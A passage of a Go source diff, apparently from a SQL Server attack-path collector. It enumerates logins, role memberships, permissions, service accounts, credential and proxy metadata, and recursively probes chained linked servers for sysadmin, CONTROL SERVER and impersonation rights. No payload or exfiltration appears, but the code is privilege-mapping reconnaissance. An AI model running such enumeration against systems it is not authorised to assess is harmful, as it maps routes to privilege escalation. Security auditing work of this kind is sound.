serverLoginMap[serverInfo.ServerPrincipals[i].PrincipalID] = &serverInfo.ServerPrincipals[i] + } + + // Query to join database principals to server principals by SID + query := fmt.Sprintf(` + SELECT + dp.principal_id AS db_principal_id, + sp.name AS server_login_name, + sp.principal_id AS server_principal_id + FROM [%s].sys.database_principals dp + JOIN sys.server_principals sp ON dp.sid = sp.sid + WHERE dp.sid IS NOT NULL + `, db.Name) + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return err + } + defer rows.Close() + + // Build principal map by principal_id + principalMap := make(map[int]int) + for i, p := range principals { + principalMap[p.PrincipalID] = i + } + + for rows.Next() { + var dbPrincipalID, serverPrincipalID int + var serverLoginName string + + if err := rows.Scan(&dbPrincipalID, &serverLoginName, &serverPrincipalID); err != nil { + return err + } + + if idx, ok := principalMap[dbPrincipalID]; ok { + // Get the server login's ObjectIdentifier + if serverLogin, ok := serverLoginMap[serverPrincipalID]; ok { + principals[idx].ServerLogin = &types.ServerLoginRef{ + ObjectIdentifier: serverLogin.ObjectIdentifier, + Name: serverLoginName, + PrincipalID: serverPrincipalID, + } + } + } + } + + return nil +} + +// collectDatabaseRoleMemberships gets role memberships for database principals +func (c *Client) collectDatabaseRoleMemberships(ctx context.Context, principals []types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) error { + query := fmt.Sprintf(` + SELECT + rm.member_principal_id, + rm.role_principal_id, + r.name AS role_name + FROM [%s].sys.database_role_members rm + JOIN [%s].sys.database_principals r ON rm.role_principal_id = r.principal_id + ORDER BY rm.member_principal_id + `, db.Name, db.Name) + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return err + } + defer rows.Close() + + // Build principal map + principalMap := make(map[int]int) + for i, p := range principals { + principalMap[p.PrincipalID] = i + } + + for rows.Next() { + var memberID, roleID int + var roleName string + + if err := rows.Scan(&memberID, &roleID, &roleName); err != nil { + return err + } + + if idx, ok := principalMap[memberID]; ok { + membership := types.RoleMembership{ + ObjectIdentifier: fmt.Sprintf("%s@%s\\%s", roleName, serverInfo.ObjectIdentifier, db.Name), + Name: roleName, + PrincipalID: roleID, + } + principals[idx].MemberOf = append(principals[idx].MemberOf, membership) + } + + // Track members for role principals + if idx, ok := principalMap[roleID]; ok { + memberName := "" + if memberIdx, ok := principalMap[memberID]; ok { + memberName = principals[memberIdx].Name + } + principals[idx].Members = append(principals[idx].Members, memberName) + } + } + + // Add implicit public role membership for all database users + // SQL Server has implicit membership in public role for all database principals + publicRoleOID := fmt.Sprintf("public@%s\\%s", serverInfo.ObjectIdentifier, db.Name) + userTypes := map[string]bool{ + "SQL_USER": true, + "WINDOWS_USER": true, + "WINDOWS_GROUP": true, + "ASYMMETRIC_KEY_MAPPED_USER": true, + "CERTIFICATE_MAPPED_USER": true, + "EXTERNAL_USER": true, + "EXTERNAL_GROUPS": true, + } + for i := range principals { + // Only add for user types, not for roles + if userTypes[principals[i].TypeDescription] { + // Check if already a member of public + hasPublic := false + for _, m := range principals[i].MemberOf { + if m.Name == "public" { + hasPublic = true + break + } + } + if !hasPublic { + membership := types.RoleMembership{ + ObjectIdentifier: publicRoleOID, + Name: "public", + PrincipalID: 0, // public role always has principal_id = 0 at database level + } + principals[i].MemberOf = append(principals[i].MemberOf, membership) + } + } + } + + return nil +} + +// collectDatabasePermissions gets explicit permissions for database principals +func (c *Client) collectDatabasePermissions(ctx context.Context, principals []types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) error { + query := fmt.Sprintf(` + SELECT + p.grantee_principal_id, + p.permission_name, + p.state_desc, + p.class_desc, + p.major_id, + COALESCE(pr.name, '') AS target_name + FROM [%s].sys.database_permissions p + LEFT JOIN [%s].sys.database_principals pr ON p.major_id = pr.principal_id AND p.class_desc = 'DATABASE_PRINCIPAL' + WHERE p.state_desc IN ('GRANT', 'GRANT_WITH_GRANT_OPTION', 'DENY') + ORDER BY p.grantee_principal_id + `, db.Name, db.Name) + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return err + } + defer rows.Close() + + principalMap := make(map[int]int) + for i, p := range principals { + principalMap[p.PrincipalID] = i + } + + for rows.Next() { + var granteeID, majorID int + var permName, stateDesc, classDesc, targetName string + + if err := rows.Scan(&granteeID, &permName, &stateDesc, &classDesc, &majorID, &targetName); err != nil { + return err + } + + if idx, ok := principalMap[granteeID]; ok { + perm := types.Permission{ + Permission: permName, + State: stateDesc, + ClassDesc: classDesc, + } + + if classDesc == "DATABASE_PRINCIPAL" && majorID > 0 { + perm.TargetPrincipalID = majorID + perm.TargetName = targetName + if targetIdx, ok := principalMap[majorID]; ok { + perm.TargetObjectIdentifier = principals[targetIdx].ObjectIdentifier + } + } + + principals[idx].Permissions = append(principals[idx].Permissions, perm) + } + } + + // Add predefined permissions for fixed database roles that aren't handled by createFixedRoleEdges + // These are implicit permissions that aren't stored in sys.database_permissions + // NOTE: db_owner and db_securityadmin permissions are NOT added here because + // createFixedRoleEdges already handles edge creation for those roles by name + fixedDatabaseRolePermissions := map[string][]string{ + // db_owner - handled by createFixedRoleEdges, don't add CONTROL here + // db_securityadmin - handled by createFixedRoleEdges, don't add ALTER ANY APPLICATION ROLE/ROLE here + } + + for i := range principals { + if principals[i].IsFixedRole { + if perms, ok := fixedDatabaseRolePermissions[principals[i].Name]; ok { + for _, permName := range perms { + // Check if permission already exists (skip duplicates) + exists := false + for _, existingPerm := range principals[i].Permissions { + if existingPerm.Permission == permName { + exists = true + break + } + } + if !exists { + perm := types.Permission{ + Permission: permName, + State: "GRANT", + ClassDesc: "DATABASE", + } + principals[i].Permissions = append(principals[i].Permissions, perm) + } + } + } + } + } + + return nil +} + +// collectLinkedServers gets all linked server configurations with login mappings. +// Each login mapping creates a separate LinkedServer entry (matching PowerShell behavior). +func (c *Client) collectLinkedServers(ctx context.Context) ([]types.LinkedServer, error) { + // Use a single server-side SQL batch that recursively discovers linked servers + // through chained links, matching the PowerShell implementation. + // This discovers not just direct linked servers but also linked servers + // accessible through other linked servers (e.g., A -> B -> C). + query := ` +SET NOCOUNT ON; + +-- Create temp table for linked server discovery +CREATE TABLE #mssqlhound_linked ( + ID INT IDENTITY(1,1), + Level INT, + Path NVARCHAR(MAX), + SourceServer NVARCHAR(128), + LinkedServer NVARCHAR(128), + DataSource NVARCHAR(128), + Product NVARCHAR(128), + Provider NVARCHAR(128), + DataAccess BIT, + RPCOut BIT, + LocalLogin NVARCHAR(128), + UsesImpersonation BIT, + RemoteLogin NVARCHAR(128), + RemoteIsSysadmin BIT DEFAULT 0, + RemoteIsSecurityAdmin BIT DEFAULT 0, + RemoteCurrentLogin NVARCHAR(128), + RemoteIsMixedMode BIT DEFAULT 0, + RemoteHasControlServer BIT DEFAULT 0, + RemoteHasImpersonateAnyLogin BIT DEFAULT 0, + ErrorMsg NVARCHAR(MAX) NULL +); + +-- Insert local server's linked servers (Level 0) +INSERT INTO #mssqlhound_linked (Level, Path, SourceServer, LinkedServer, DataSource, Product, Provider, DataAccess, RPCOut, + LocalLogin, UsesImpersonation, RemoteLogin) +SELECT + 0, + @@SERVERNAME + ' -> ' + s.name, + @@SERVERNAME, + s.name, + s.data_source, + s.product, + s.provider, + s.is_data_access_enabled, + s.is_rpc_out_enabled, + COALESCE(sp.name, 'All Logins'), + ll.uses_self_credential, + ll.remote_name +FROM sys.servers s +INNER JOIN sys.linked_logins ll ON s.server_id = ll.server_id +LEFT JOIN sys.server_principals sp ON ll.local_principal_id = sp.principal_id +WHERE s.is_linked = 1; + +-- Declare all variables upfront (T-SQL has batch-level scoping) +DECLARE @CheckID INT, @CheckLinkedServer NVARCHAR(128); +DECLARE @CheckSQL NVARCHAR(MAX); +DECLARE @CheckSQL2 NVARCHAR(MAX); +DECLARE @LinkedServer NVARCHAR(128), @Path NVARCHAR(MAX); +DECLARE @sql NVARCHAR(MAX); +DECLARE @CurrentLevel INT; +DECLARE @MaxLevel INT; +DECLARE @RowsToProcess INT; +DECLARE @PrivilegeResults TABLE ( + IsSysadmin INT, + IsSecurityAdmin INT, + CurrentLogin NVARCHAR(128), + IsMixedMode INT, + HasControlServer INT, + HasImpersonateAnyLogin INT +); +DECLARE @ProcessedServers TABLE (ServerName NVARCHAR(128)); + +-- Check privileges for Level 0 entries + +DECLARE check_cursor CURSOR FOR +SELECT ID, LinkedServer FROM #mssqlhound_linked WHERE Level = 0; + +OPEN check_cursor; +FETCH NEXT FROM check_cursor INTO @CheckID, @CheckLinkedServer; + +WHILE @@FETCH_STATUS = 0 +BEGIN + DELETE FROM @PrivilegeResults; + + BEGIN TRY + SET @CheckSQL = 'SELECT * FROM OPENQUERY([' + @CheckLinkedServer + '], '' + WITH RoleHierarchy AS ( + SELECT + p.principal_id, + p.name AS principal_name, + CAST(p.name AS NVARCHAR(MAX)) AS path, + 0 AS level + FROM sys.server_principals p + WHERE p.name = SYSTEM_USER + + UNION ALL + + SELECT + r.principal_id, + r.name AS principal_name, + rh.path + '''' -> '''' + r.name, + rh.level + 1 + FROM RoleHierarchy rh + INNER JOIN sys.server_role_members rm ON rm.member_principal_id = rh.principal_id + INNER JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id + WHERE rh.level < 10 + ), + AllPermissions AS ( + SELECT DISTINCT + sp.permission_name, + sp.state + FROM RoleHierarchy rh + INNER JOIN sys.server_permissions sp ON sp.grantee_principal_id = rh.principal_id + WHERE sp.state = ''''G'''' + ) + SELECT + IS_SRVROLEMEMBER(''''sysadmin'''') AS IsSysadmin, + IS_SRVROLEMEMBER(''''securityadmin'''') AS IsSecurityAdmin, + SYSTEM_USER AS CurrentLogin, + CASE SERVERPROPERTY(''''IsIntegratedSecurityOnly'''') + WHEN 1 THEN 0 + WHEN 0 THEN 1 + END AS IsMixedMode, + CASE WHEN EXISTS ( + SELECT 1 FROM AllPermissions + WHERE permission_name = ''''CONTROL SERVER'''' + ) THEN 1 ELSE 0 END AS HasControlServer, + CASE WHEN EXISTS ( + SELECT 1 FROM AllPermissions + WHERE permission_name = ''''IMPERSONATE ANY LOGIN'''' + ) THEN 1 ELSE 0 END AS HasImpersonateAnyLogin + '')'; + + INSERT INTO @PrivilegeResults + EXEC sp_executesql @CheckSQL; + + UPDATE #mssqlhound_linked + SET RemoteIsSysadmin = (SELECT IsSysadmin FROM @PrivilegeResults), + RemoteIsSecurityAdmin = (SELECT IsSecurityAdmin FROM @PrivilegeResults), + RemoteCurrentLogin = (SELECT CurrentLogin FROM @PrivilegeResults), + RemoteIsMixedMode = (SELECT IsMixedMode FROM @PrivilegeResults), + RemoteHasControlServer = (SELECT HasControlServer FROM @PrivilegeResults), + RemoteHasImpersonateAnyLogin = (SELECT HasImpersonateAnyLogin FROM @PrivilegeResults) + WHERE ID = @CheckID; + + END TRY + BEGIN CATCH + UPDATE #mssqlhound_linked + SET ErrorMsg = ERROR_MESSAGE() + WHERE ID = @CheckID; + END CATCH + + FETCH NEXT FROM check_cursor INTO @CheckID, @CheckLinkedServer; +END + +CLOSE check_cursor; +DEALLOCATE check_cursor; + +-- Recursive discovery of chained linked servers +SET @CurrentLevel = 0; +SET @MaxLevel = 10; +SET @RowsToProcess = 1; + +WHILE @RowsToProcess > 0 AND @CurrentLevel < @MaxLevel +BEGIN + DECLARE process_cursor CURSOR FOR + SELECT DISTINCT LinkedServer, MIN(Path) + FROM #mssqlhound_linked + WHERE Level = @CurrentLevel + AND LinkedServer NOT IN (SELECT ServerName FROM @ProcessedServers) + GROUP BY LinkedServer; + + OPEN process_cursor; + FETCH NEXT FROM process_cursor INTO @LinkedServer, @Path; + + WHILE @@FETCH_STATUS = 0 + BEGIN + BEGIN TRY + SET @sql = ' + INSERT INTO #mssqlhound_linked (Level, Path, SourceServer, LinkedServer, DataSource, Product, Provider, DataAccess, RPCOut, + LocalLogin, UsesImpersonation, RemoteLogin) + SELECT DISTINCT + ' + CAST(@CurrentLevel + 1 AS NVARCHAR) + ', + ''' + @Path + ' -> '' + s.name, + ''' + @LinkedServer + ''', + s.name, + s.data_source, + s.product, + s.provider, + s.is_data_access_enabled, + s.is_rpc_out_enabled, + COALESCE(sp.name, ''All Logins''), + ll.uses_self_credential, + ll.remote_name + FROM [' + @LinkedServer + '].[master].[sys].[servers] s + INNER JOIN [' + @LinkedServer + '].[master].[sys].[linked_logins] ll ON s.server_id = ll.server_id + LEFT JOIN [' + @LinkedServer + '].[master].[sys].[server_principals] sp ON ll.local_principal_id = sp.principal_id + WHERE s.is_linked = 1 + AND ''' + @Path + ''' NOT LIKE ''%'' + s.name + '' ->%'' + AND s.data_source NOT IN ( + SELECT DISTINCT DataSource + FROM #mssqlhound_linked + WHERE DataSource IS NOT NULL + )'; + + EXEC sp_executesql @sql; + INSERT INTO @ProcessedServers VALUES (@LinkedServer); + + END TRY + BEGIN CATCH + INSERT INTO @ProcessedServers VALUES (@LinkedServer); + END CATCH + + FETCH NEXT FROM process_cursor INTO @LinkedServer, @Path; + END + + CLOSE process_cursor; + DEALLOCATE process_cursor; + + -- Check privileges for newly discovered servers + DECLARE privilege_cursor CURSOR FOR + SELECT ID, LinkedServer + FROM #mssqlhound_linked + WHERE Level = @CurrentLevel + 1 + AND RemoteIsSysadmin IS NULL; + + OPEN privilege_cursor; + FETCH NEXT FROM privilege_cursor INTO @CheckID, @CheckLinkedServer; + + WHILE @@FETCH_STATUS = 0 + BEGIN + DELETE FROM @PrivilegeResults; + + BEGIN TRY + SET @CheckSQL2 = 'SELECT * FROM OPENQUERY([' + @CheckLinkedServer + '], '' + WITH RoleHierarchy AS ( + SELECT + p.principal_id, + p.name AS principal_name, + CAST(p.name AS NVARCHAR(MAX)) AS path, + 0 AS level + FROM sys.server_principals p + WHERE p.name = SYSTEM_USER + + UNION ALL + + SELECT + r.principal_id, + r.name AS principal_name, + rh.path + '''' -> '''' + r.name, + rh.level + 1 + FROM RoleHierarchy rh + INNER JOIN sys.server_role_members rm ON rm.member_principal_id = rh.principal_id + INNER JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id + WHERE rh.level < 10 + ), + AllPermissions AS ( + SELECT DISTINCT + sp.permission_name, + sp.state + FROM RoleHierarchy rh + INNER JOIN sys.server_permissions sp ON sp.grantee_principal_id = rh.principal_id + WHERE sp.state = ''''G'''' + ) + SELECT + IS_SRVROLEMEMBER(''''sysadmin'''') AS IsSysadmin, + IS_SRVROLEMEMBER(''''securityadmin'''') AS IsSecurityAdmin, + SYSTEM_USER AS CurrentLogin, + CASE SERVERPROPERTY(''''IsIntegratedSecurityOnly'''') + WHEN 1 THEN 0 + WHEN 0 THEN 1 + END AS IsMixedMode, + CASE WHEN EXISTS ( + SELECT 1 FROM AllPermissions + WHERE permission_name = ''''CONTROL SERVER'''' + ) THEN 1 ELSE 0 END AS HasControlServer, + CASE WHEN EXISTS ( + SELECT 1 FROM AllPermissions + WHERE permission_name = ''''IMPERSONATE ANY LOGIN'''' + ) THEN 1 ELSE 0 END AS HasImpersonateAnyLogin + '')'; + + INSERT INTO @PrivilegeResults + EXEC sp_executesql @CheckSQL2; + + UPDATE #mssqlhound_linked + SET RemoteIsSysadmin = (SELECT IsSysadmin FROM @PrivilegeResults), + RemoteIsSecurityAdmin = (SELECT IsSecurityAdmin FROM @PrivilegeResults), + RemoteCurrentLogin = (SELECT CurrentLogin FROM @PrivilegeResults), + RemoteIsMixedMode = (SELECT IsMixedMode FROM @PrivilegeResults), + RemoteHasControlServer = (SELECT HasControlServer FROM @PrivilegeResults), + RemoteHasImpersonateAnyLogin = (SELECT HasImpersonateAnyLogin FROM @PrivilegeResults) + WHERE ID = @CheckID; + + END TRY + BEGIN CATCH + -- Continue on error + END CATCH + + FETCH NEXT FROM privilege_cursor INTO @CheckID, @CheckLinkedServer; + END + + CLOSE privilege_cursor; + DEALLOCATE privilege_cursor; + + -- Count new unprocessed servers + SELECT @RowsToProcess = COUNT(DISTINCT LinkedServer) + FROM #mssqlhound_linked + WHERE Level = @CurrentLevel + 1 + AND LinkedServer NOT IN (SELECT ServerName FROM @ProcessedServers); + + SET @CurrentLevel = @CurrentLevel + 1; +END + +-- Return all results +SET NOCOUNT OFF; +SELECT + Level, + Path, + SourceServer, + LinkedServer, + DataSource, + Product, + Provider, + DataAccess, + RPCOut, + LocalLogin, + UsesImpersonation, + RemoteLogin, + RemoteIsSysadmin, + RemoteIsSecurityAdmin, + RemoteCurrentLogin, + RemoteIsMixedMode, + RemoteHasControlServer, + RemoteHasImpersonateAnyLogin +FROM #mssqlhound_linked +ORDER BY Level, Path; + +DROP TABLE #mssqlhound_linked; +` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return nil, err + } + defer rows.Close() + + var servers []types.LinkedServer + + for rows.Next() { + var s types.LinkedServer + var level int + var path, sourceServer, localLogin, remoteLogin, remoteCurrentLogin sql.NullString + var dataAccess, rpcOut, usesImpersonation sql.NullBool + var isSysadmin, isSecurityAdmin, isMixedMode, hasControlServer, hasImpersonateAnyLogin sql.NullBool + + err := rows.Scan( + &level, + &path, + &sourceServer, + &s.Name, + &s.DataSource, + &s.Product, + &s.Provider, + &dataAccess, + &rpcOut, + &localLogin, + &usesImpersonation, + &remoteLogin, + &isSysadmin, + &isSecurityAdmin, + &remoteCurrentLogin, + &isMixedMode, + &hasControlServer, + &hasImpersonateAnyLogin, + ) + if err != nil { + return nil, err + } + + s.IsLinkedServer = true + s.Path = path.String + s.SourceServer = sourceServer.String + s.LocalLogin = localLogin.String + s.RemoteLogin = remoteLogin.String + if dataAccess.Valid { + s.IsDataAccessEnabled = dataAccess.Bool + } + if rpcOut.Valid { + s.IsRPCOutEnabled = rpcOut.Bool + } + if usesImpersonation.Valid { + s.IsSelfMapping = usesImpersonation.Bool + s.UsesImpersonation = usesImpersonation.Bool + } + if isSysadmin.Valid { + s.RemoteIsSysadmin = isSysadmin.Bool + } + if isSecurityAdmin.Valid { + s.RemoteIsSecurityAdmin = isSecurityAdmin.Bool + } + if remoteCurrentLogin.Valid { + s.RemoteCurrentLogin = remoteCurrentLogin.String + } + if isMixedMode.Valid { + s.RemoteIsMixedMode = isMixedMode.Bool + } + if hasControlServer.Valid { + s.RemoteHasControlServer = hasControlServer.Bool + } + if hasImpersonateAnyLogin.Valid { + s.RemoteHasImpersonateAnyLogin = hasImpersonateAnyLogin.Bool + } + + servers = append(servers, s) + } + + return servers, nil +} + +// checkLinkedServerPrivileges is no longer needed as privilege checking +// is now integrated into the recursive collectLinkedServers() query. + +// collectServiceAccounts gets SQL Server service account information +func (c *Client) collectServiceAccounts(ctx context.Context, info *types.ServerInfo) error { + // Try sys.dm_server_services first (SQL Server 2008 R2+) + // Note: Exclude SQL Server Agent to match PowerShell behavior + query := ` + SELECT + servicename, + service_account, + startup_type_desc + FROM sys.dm_server_services + WHERE servicename LIKE 'SQL Server%' AND servicename NOT LIKE 'SQL Server Agent%' + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + // DMV might not exist or user doesn't have permission + // Fall back to registry read + return c.collectServiceAccountFromRegistry(ctx, info) + } + defer rows.Close() + + foundService := false + for rows.Next() { + var serviceName, serviceAccount, startupType sql.NullString + + if err := rows.Scan(&serviceName, &serviceAccount, &startupType); err != nil { + continue + } + + if serviceAccount.Valid && serviceAccount.String != "" { + if !foundService { + c.logVerbose("Identified service account in sys.dm_server_services") + foundService = true + } + + sa := types.ServiceAccount{ + Name: serviceAccount.String, + ServiceName: serviceName.String, + StartupType: startupType.String, + } + + // Determine service type + if strings.Contains(serviceName.String, "Agent") { + sa.ServiceType = "SQLServerAgent" + } else { + sa.ServiceType = "SQLServer" + c.logVerbose("SQL Server service account: %s", serviceAccount.String) + } + + info.ServiceAccounts = append(info.ServiceAccounts, sa) + } + } + + // If no results, try registry fallback + if len(info.ServiceAccounts) == 0 { + return c.collectServiceAccountFromRegistry(ctx, info) + } + + // Log if adding machine account + for _, sa := range info.ServiceAccounts { + if strings.HasSuffix(sa.Name, "$") { + c.logVerbose("Adding service account: %s", sa.Name) + } + } + + return nil +} + +// collectServiceAccountFromRegistry tries to get service account from registry via xp_instance_regread +func (c *Client) collectServiceAccountFromRegistry(ctx context.Context, info *types.ServerInfo) error { + query := ` + DECLARE @ServiceAccount NVARCHAR(256) + EXEC master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', + N'SYSTEM\CurrentControlSet\Services\MSSQLSERVER', + N'ObjectName', + @ServiceAccount OUTPUT + SELECT @ServiceAccount AS ServiceAccount + ` + + var serviceAccount sql.NullString + err := c.DBW().QueryRowContext(ctx, query).Scan(&serviceAccount) + if err != nil || !serviceAccount.Valid { + // Try named instance path + query = ` + DECLARE @ServiceAccount NVARCHAR(256) + DECLARE @ServiceKey NVARCHAR(256) + SET @ServiceKey = N'SYSTEM\CurrentControlSet\Services\MSSQL$' + CAST(SERVERPROPERTY('InstanceName') AS NVARCHAR) + EXEC master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', + @ServiceKey, + N'ObjectName', + @ServiceAccount OUTPUT + SELECT @ServiceAccount AS ServiceAccount + ` + err = c.DBW().QueryRowContext(ctx, query).Scan(&serviceAccount) + } + + if err == nil && serviceAccount.Valid && serviceAccount.String != "" { + sa := types.ServiceAccount{ + Name: serviceAccount.String, + ServiceName: "SQL Server", + ServiceType: "SQLServer", + } + info.ServiceAccounts = append(info.ServiceAccounts, sa) + } + + return nil +} + +// collectCredentials gets server-level credentials +func (c *Client) collectCredentials(ctx context.Context, info *types.ServerInfo) error { + query := ` + SELECT + credential_id, + name, + credential_identity, + create_date, + modify_date + FROM sys.credentials + ORDER BY credential_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + // User might not have permission to view credentials + return nil + } + defer rows.Close() + + for rows.Next() { + var cred types.Credential + + err := rows.Scan( + &cred.CredentialID, + &cred.Name, + &cred.CredentialIdentity, + &cred.CreateDate, + &cred.ModifyDate, + ) + if err != nil { + continue + } + + info.Credentials = append(info.Credentials, cred) + } + + return nil +} + +// collectLoginCredentialMappings gets credential mappings for logins +func (c *Client) collectLoginCredentialMappings(ctx context.Context, principals []types.ServerPrincipal, serverInfo *types.ServerInfo) error { + // Query to get login-to-credential mappings + query := ` + SELECT + sp.principal_id, + c.credential_id, + c.name AS credential_name, + c.credential_identity + FROM sys.server_principals sp + JOIN sys.server_principal_credentials spc ON sp.principal_id = spc.principal_id + JOIN sys.credentials c ON spc.credential_id = c.credential_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + // sys.server_principal_credentials might not exist in older versions + return nil + } + defer rows.Close() + + // Build principal map + principalMap := make(map[int]*types.ServerPrincipal) + for i := range principals { + principalMap[principals[i].PrincipalID] = &principals[i] + } + + for rows.Next() { + var principalID, credentialID int + var credName, credIdentity string + + if err := rows.Scan(&principalID, &credentialID, &credName, &credIdentity); err != nil { + continue + } + + if principal, ok := principalMap[principalID]; ok { + principal.MappedCredential = &types.Credential{ + CredentialID: credentialID, + Name: credName, + CredentialIdentity: credIdentity, + } + } + } + + return nil +} + +// collectProxyAccounts gets SQL Agent proxy accounts +func (c *Client) collectProxyAccounts(ctx context.Context, info *types.ServerInfo) error { + // Query for proxy accounts with their credentials and subsystems + query := ` + SELECT + p.proxy_id, + p.name AS proxy_name, + p.credential_id, + c.name AS credential_name, + c.credential_identity, + p.enabled, + ISNULL(p.description, '') AS description + FROM msdb.dbo.sysproxies p + JOIN sys.credentials c ON p.credential_id = c.credential_id + ORDER BY p.proxy_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + // User might not have access to msdb + return nil + } + defer rows.Close() + + proxies := make(map[int]*types.ProxyAccount) + + for rows.Next() { + var proxy types.ProxyAccount + var enabled int + + err := rows.Scan( + &proxy.ProxyID, + &proxy.Name, + &proxy.CredentialID, + &proxy.CredentialName, + &proxy.CredentialIdentity, + &enabled, + &proxy.Description, + ) + if err != nil { + continue + } + + proxy.Enabled = enabled == 1 + proxies[proxy.ProxyID] = &proxy + } + rows.Close() + + // Get subsystems for each proxy + subsystemQuery := ` + SELECT + ps.proxy_id, + s.subsystem + FROM msdb.dbo.sysproxysubsystem ps + JOIN msdb.dbo.syssubsystems s ON ps.subsystem_id = s.subsystem_id + ` + + rows, err = c.DBW().QueryContext(ctx, subsystemQuery) + if err == nil { + defer rows.Close() + for rows.Next() { + var proxyID int + var subsystem string + if err := rows.Scan(&proxyID, &subsystem); err != nil { + continue + } + if proxy, ok := proxies[proxyID]; ok { + proxy.Subsystems = append(proxy.Subsystems, subsystem) + } + } + } + + // Get login authorizations for each proxy + loginQuery := ` + SELECT + pl.proxy_id, + sp.name AS login_name + FROM msdb.dbo.sysproxylogin pl + JOIN sys.server_principals sp ON pl.sid = sp.sid + ` + + rows, err = c.DBW().QueryContext(ctx, loginQuery) + if err == nil { + defer rows.Close() + for rows.Next() { + var proxyID int + var loginName string + if err := rows.Scan(&proxyID, &loginName); err != nil { + continue + } + if proxy, ok := proxies[proxyID]; ok { + proxy.Logins = append(proxy.Logins, loginName) + } + } + } + + // Add all proxies to server info + for _, proxy := range proxies { + info.ProxyAccounts = append(info.ProxyAccounts, *proxy) + } + + return nil +} + +// collectDBScopedCredentials gets database-scoped credentials for a database +func (c *Client) collectDBScopedCredentials(ctx context.Context, db *types.Database) error { + query := fmt.Sprintf(` + SELECT + credential_id, + name, + credential_identity, + create_date, + modify_date + FROM [%s].sys.database_scoped_credentials + ORDER BY credential_id + `, db.Name) + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + // sys.database_scoped_credentials might not exist (pre-SQL 2016) or user lacks permission + return nil + } + defer rows.Close() + + for rows.Next() { + var cred types.DBScopedCredential + + err := rows.Scan( + &cred.CredentialID, + &cred.Name, + &cred.CredentialIdentity, + &cred.CreateDate, + &cred.ModifyDate, + ) + if err != nil { + continue + } + + db.DBScopedCredentials = append(db.DBScopedCredentials, cred) + } + + return nil +} + +// collectAuthenticationMode gets the authentication mode (Windows-only vs Mixed) +func (c *Client) collectAuthenticationMode(ctx context.Context, info *types.ServerInfo) error { + query := ` + SELECT + CASE SERVERPROPERTY('IsIntegratedSecurityOnly') + WHEN 1 THEN 0 -- Windows Authentication only + WHEN 0 THEN 1 -- Mixed mode + END AS IsMixedModeAuthEnabled + ` + + var isMixed int + if err := c.DBW().QueryRowContext(ctx, query).Scan(&isMixed); err == nil { + info.IsMixedModeAuth = isMixed == 1 + } + + return nil +} + +// collectEncryptionSettings gets the force encryption and EPA settings. +// It performs actual EPA connection testing when domain credentials are available, +// falling back to registry-based detection otherwise. +func (c *Client) collectEncryptionSettings(ctx context.Context, info *types.ServerInfo) error { + // Always attempt EPA testing if we have LDAP/domain credentials + if c.ldapUser != "" && c.ldapPassword != "" { + epaResult, err := c.TestEPA(ctx) + if err != nil { + c.logVerbose("Warning: EPA testing failed: %v, falling back to registry", err) + } else { + // Use results from EPA testing + if epaResult.ForceEncryption { + info.ForceEncryption = "Yes" + } else { + info.ForceEncryption = "No" + } + if epaResult.StrictEncryption { + info.StrictEncryption = "Yes" + } else { + info.StrictEncryption = "No" + } + info.ExtendedProtection = epaResult.EPAStatus + return nil + } + } + + // Fall back to registry-based detection (or primary method when not verbose) + query := ` + DECLARE @ForceEncryption INT + DECLARE @ExtendedProtection INT + + EXEC master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', + N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib', + N'ForceEncryption', + @ForceEncryption OUTPUT + + EXEC master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', + N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib', + N'ExtendedProtection', + @ExtendedProtection OUTPUT + + SELECT + @ForceEncryption AS ForceEncryption, + @ExtendedProtection AS ExtendedProtection + ` + + var forceEnc, extProt sql.NullInt64 + + err := c.DBW().QueryRowContext(ctx, query).Scan(&forceEnc, &extProt) + if err != nil { + return nil // Non-fatal - user might not have permission + } + + if forceEnc.Valid { + if forceEnc.Int64 == 1 { + info.ForceEncryption = "Yes" + } else { + info.ForceEncryption = "No" + } + } + + if extProt.Valid { + switch extProt.Int64 { + case 0: + info.ExtendedProtection = "Off" + case 1: + info.ExtendedProtection = "Allowed" + case 2: + info.ExtendedProtection = "Required" + } + } + + return nil +} + +// TestConnection tests if a connection can be established +func TestConnection(serverInstance, userID, password string, timeout time.Duration) error { + client := NewClient(serverInstance, userID, password) + + ctx, cancel := context.WithTimeout(context.Background(), timeout) + defer cancel() + + if err := client.Connect(ctx); err != nil { + return err + } + defer client.Close() + + return nil +} diff --git a/internal/mssql/db_wrapper.go b/internal/mssql/db_wrapper.go new file mode 100644 index 0000000..e0e19be --- /dev/null +++ b/internal/mssql/db_wrapper.go @@ -0,0 +1,435 @@ +// Package mssql provides SQL Server connection and data collection functionality. +package mssql + +import ( + "context" + "database/sql" + "fmt" + "time" +) + +// DBWrapper provides a unified interface for database queries +// that works with both native go-mssqldb and PowerShell fallback modes. +type DBWrapper struct { + db *sql.DB // Native database connection + psClient *PowerShellClient // PowerShell client for fallback + usePowerShell bool +} + +// NewDBWrapper creates a new database wrapper +func NewDBWrapper(db *sql.DB, psClient *PowerShellClient, usePowerShell bool) *DBWrapper { + return &DBWrapper{ + db: db, + psClient: psClient, + usePowerShell: usePowerShell, + } +} + +// RowScanner provides a unified interface for scanning rows +type RowScanner interface { + Scan(dest ...interface{}) error +} + +// Rows provides a unified interface for iterating over query results +type Rows interface { + Next() bool + Scan(dest ...interface{}) error + Close() error + Err() error + Columns() ([]string, error) +} + +// nativeRows wraps sql.Rows +type nativeRows struct { + rows *sql.Rows +} + +func (r *nativeRows) Next() bool { return r.rows.Next() } +func (r *nativeRows) Scan(dest ...interface{}) error { return 